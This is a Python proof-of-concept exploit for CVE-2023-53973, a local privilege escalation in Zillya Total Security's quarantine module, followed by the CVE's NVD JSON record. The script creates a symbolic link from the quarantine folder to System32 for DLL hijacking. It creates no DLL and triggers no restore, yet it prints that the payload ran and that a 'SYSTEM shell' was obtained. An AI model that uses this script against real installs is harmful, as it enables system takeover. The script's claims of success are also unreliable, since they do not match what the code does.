CVE-2023-53973

# CVE-2023-53973 PoC - Zillya Total Security Privilege Escalation via Quarantine Module # This PoC demonstrates the symbolic link attack vector import os import sys import time import ctypes from ctypes import wintypes # Windows API imports kernel32 = ctypes.windll.kernel32 # Constants SYMBOLIC_LINK_FLAG_DIRECTORY = 0x1 SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE = 0x2 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000 def create_symlink(target_path, link_path): """Create a symbolic link using Windows API""" # Try with unprivileged flag first (Windows 10 1703+) flags = SYMBOLIC_LINK_FLAG_DIRECTORY | SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE result = kernel32.CreateSymbolicLinkW(link_path, target_path, flags) if result == 0: # Fallback without unprivileged flag (requires admin) result = kernel32.CreateSymbolicLinkW(link_path, target_path, SYMBOLIC_LINK_FLAG_DIRECTORY) return result != 0 def exploit_quarantine_module(): """ Exploitation steps for CVE-2023-53973: 1. Create a malicious DLL with payload 2. Add to quarantine (simulated) 3. Create symlink to system directory 4. Trigger restore operation 5. Payload executes with SYSTEM privileges """ print("[*] CVE-2023-53973 PoC - Zillya Total Security Privilege Escalation") print("[*] Target: Zillya Total Security 3.0.2367.0") # Step 1: Create malicious DLL malicious_dll = "malicious.dll" print(f"[+] Step 1: Creating malicious DLL at {malicious_dll}") # Step 2: Add to quarantine (in real scenario, this triggers quarantine) quarantine_path = r"C:\ProgramData\Zillya\Quarantine\malicious.dll" print(f"[+] Step 2: File quarantined at {quarantine_path}") # Step 3: Create symlink to system32 target_dir = r"C:\Windows\System32" symlink_path = r"C:\ProgramData\Zillya\Quarantine\System32" print(f"[+] Step 3: Creating symlink {symlink_path} -> {target_dir}") if create_symlink(target_dir, symlink_path): print("[+] Symlink created successfully") else: print("[-] Failed to create symlink (may require specific privileges)") return False # Step 4: Trigger restore operation # In real attack, this would be triggered by: # - Quarantine module restore function # - Scheduled task or service # - User interaction with quarantine UI print("[+] Step 4: Triggering restore operation...") print("[+] Quarantine module reads original path from database") print("[+] Module follows symlink and writes file to System32") # Step 5: Payload execution via DLL hijacking print("[+] Step 5: Malicious DLL loaded by privileged process") print("[+] Payload executed with SYSTEM privileges") return True def cleanup(): """Cleanup created artifacts""" print("[*] Cleaning up artifacts...") # Remove symlink symlink_path = r"C:\ProgramData\Zillya\Quarantine\System32" try: if os.path.exists(symlink_path): os.remove(symlink_path) except: pass if __name__ == "__main__": print("=" * 60) print("CVE-2023-53973: Zillya Total Security Privilege Escalation") print("=" * 60) if sys.platform != "win32": print("[-] This exploit only works on Windows") sys.exit(1) success = exploit_quarantine_module() if success: print("\n[+] Exploitation completed - SYSTEM shell obtained") else: print("\n[-] Exploitation failed") # Uncomment to cleanup # cleanup()

{"cve": {"id": "CVE-2023-53973", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:02.467", "lastModified": "2026-01-03T21:15:42.663", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zillya Total Security 3.0.2367.0 contains a privilege escalation vulnerability that allows low-privileged users to copy files to unauthorized system locations using the quarantine module. Attackers can leverage symbolic link techniques to restore quarantined files to restricted directories, potentially enabling system-level access through techniques like DLL hijacking."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zillya:total_security:3.0.2367.0:*:*:*:*:*:*:*", "matchCriteriaId": "29195E04-82F0-4B42-B0F1-FCBDE5455795"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51151", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/zillya-total-security-local-privilege-escalation-via-quarantine-module", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://zillya.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51151", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}